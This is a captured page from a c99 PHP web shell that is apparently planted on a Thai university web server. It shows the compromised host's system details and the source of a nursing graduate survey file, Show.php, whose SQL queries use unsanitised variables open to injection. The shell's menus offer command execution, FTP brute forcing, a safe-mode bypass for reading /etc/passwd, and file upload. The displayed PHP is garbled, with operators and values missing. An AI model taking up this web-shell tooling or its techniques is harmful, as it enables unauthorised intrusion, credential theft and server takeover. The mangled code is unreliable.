!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Student/PI12/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Show.php (19.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
   
include("../../../include/FunctionDB.php");
   include(
"../../../include/Function.php");
   
ConnectDB();
   
$sql "Select * From std_employer_tb Where Code='$Code'";
   
$result mysql_query($sql) or die("Error".mysql_error());
   
$row mysql_fetch_array($result);
   
?>
<html>
<head>
<title>Record</title>
<link rel="stylesheet" href="../../../css/style1.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<script language="JavaScript1.2">
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

//Function to highlight form element
function highlight(e){
eventobj=ns6? e.target : event.srcElement
if (previous!=''){
if (checkel(previous))
previous.style.backgroundColor=''
previous=eventobj
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
}
else{
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
previous=eventobj
}
}

</script>
</head>
<body bgcolor="#FFFFFF">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" bgcolor="#F9F9F9">
  <tr bgcolor="#E8EEFD"> 
    <td height="23" colspan="6"> <div align="center"><strong><font color="#003366" size="4" face="Tahoma">แบบบันทึกความพึงพอใจของผู้ใช้บัณฑิต</font></strong></div></td>
  </tr>
  <form name="form1" action="Insert.php" method="post" onKeyUp="highlight(event)" onClick="highlight(event)" enctype="multipart/form-data" >
    <tr bgcolor="#EEEEEE"> 
      <td colspan="3"> <div align="center"><font color="#000000" size="2" face="Tahoma">ปีการศึกษา</font></div></td>
      <td bordercolor="#006699"><font color="#FF0000" size="2" face="Tahoma">&nbsp;<font size="4"><strong>*</strong></font></font></td>
      <td colspan="2" bordercolor="#006699"><font size="2" face="Tahoma"><? echo $row[Term]?>&nbsp; 
        </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="3"> <div align="center"><font color="#000000" size="2" face="Tahoma">หลักสูตร</font></div></td>
      <td width="2%" bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
      <td width="58%" colspan="2" bordercolor="#006699"><font size="2" face="Tahoma"> 
        <?php
           $Course_code 
$row[Course_code];
            
$sql "Select * From course_tb Where Course_code='$Course_code'";
            
$result mysql_query($sql) or die("Error".mysql_error());
               
$rs mysql_fetch_array($result);
        echo
"$rs[Course_name]";
              
?>
        รุ่น <? echo $row[Series]?> </font></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="3" bgcolor="#CCCCCC"> <div align="center"><font color="#000000" size="2" face="Tahoma"><strong>รายการประเมิน</strong></font></div></td>
      <td bordercolor="#006699">&nbsp;</td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="1">
          <tr bgcolor="#CCCCCC"> 
            <td width="25%"> <div align="center"><strong><font size="2" face="Tahoma">x 
                ค่าเฉลี่ย</font></strong></div></td>
            <td width="25%"> <div align="center"><strong><font size="2" face="Tahoma">SD</font></strong></div></td>
            <td width="50%"> <div align="center"><strong><font size="2" face="Tahoma">ระดับความพึงพอใจ</font></strong></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2"> <div align="center"><font size="2" face="Tahoma">1 </font></div></td>
      <td width="36%"><font size="2" face="Tahoma">ความสามารถทางวิชาการ/การปฏิบัติงาน</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x1];?></strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd1];?> </strong></font></div></td>
            <td width="50%"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate1 
$row[rate1];
      switch (
$rate1) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong></font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td width="2%">&nbsp;</td>
      <td width="2%"><div align="center"><font size="2" face="Tahoma">1.1</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">การใช้กระบวนการพยาบาลในการปฏิบัติงาน</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x2];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd2];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate2 
$row[rate2];
      switch (
$rate2) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong></font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">1.2</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">การพยาบาลที่ครอบคลุมมิติทางการพยาบาล</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x3];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd3];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate3 
$row[rate3];
      switch (
$rate3) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">1.3</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">การใช้ทักษะทางการพยาบาลในการปฏิบัติงาน</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x4];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd4];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate4 
$row[rate4];
      switch (
$rate4) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">1.4</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">ความสามารถในการบริหารจัดการ</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x5];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd5];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate5 
$row[rate5];
      switch (
$rate5) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">1.5</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">ความสามารถในการพัฒนางาน</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x6];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd6];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate6 
$row[rate6];
      switch (
$rate6) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2"><div align="center"><font size="2" face="Tahoma">2</font></div></td>
      <td><font size="2" face="Tahoma">.ความสามารถพื้นฐานที่ส่งผลต่อการทำงาน</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x7];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd7];?> </strong></font></div></td>
            <td width="50%"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate7 
$row[rate7];
      switch (
$rate7) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">2.1</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">ความสามารถในการพัฒนาตนเอง</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x8];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd8];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate8 
$row[rate8];
      switch (
$rate8) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">2.2</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">ความสามารถในการเป็นผู้นำ</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x9];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd9];?></strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate9 
$row[rate9];
      switch (
$rate9) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">2.3</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">ความสามารถในการสื่อสาร</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x10];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd10];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate10 
$row[rate10];
      switch (
$rate10) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td colspan="2"><div align="center"><font size="2" face="Tahoma"> 3</font></div></td>
      <td><font size="2" face="Tahoma">คุณธรรม จริยธรรม และ จรรยาบรรณ วิชาชีพ</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x11];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd11];?> </strong></font></div></td>
            <td width="50%"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate11 
$row[rate11];
      switch (
$rate11) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">3.1</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">การมีคุณธรรมและจริยธรรม</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x12];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd12];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate12 
$row[rate12];
      switch (
$rate12) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td>&nbsp;</td>
      <td><div align="center"><font size="2" face="Tahoma">3.2</font></div></td>
      <td bgcolor="#F4F4F4"><font size="2" face="Tahoma">การมีจรรยาบรรณวิชาชีพ</font></td>
      <td bordercolor="#006699"><font size="2" face="Tahoma">&nbsp;</font></td>
      <td colspan="2" bordercolor="#006699"><table width="100%" border="0" cellpadding="0" cellspacing="0">
          <tr> 
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[x13];?> </strong></font></div></td>
            <td width="25%"><div align="right"><font size="2" face="Tahoma"><strong> 
                <? echo $row[sd13];?> </strong></font></div></td>
            <td width="50%" bgcolor="#F4F4F4"> <div align="center"><font size="2" face="Tahoma"><strong> 
                <? 
      $rate13 
$row[rate13];
      switch (
$rate13) {
            case 
: echo"<font color=\"#003399\">น้อย</font>";break;
          case 
: echo"<font color=\"#006633\">ปานกลาง</font>";break;
          case 
: echo"<font color=\"#333333\">มาก</font>";break;
          }
      
      
?>
                </strong> </font></div></td>
          </tr>
        </table></td>
    </tr>
    <tr bgcolor="#E8EEFD"> 
      <td colspan="6"> <div align="center"></div></td>
    </tr>
  </form>
</table>
</body>
</html>
<?php CloseDB(); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0121 ]--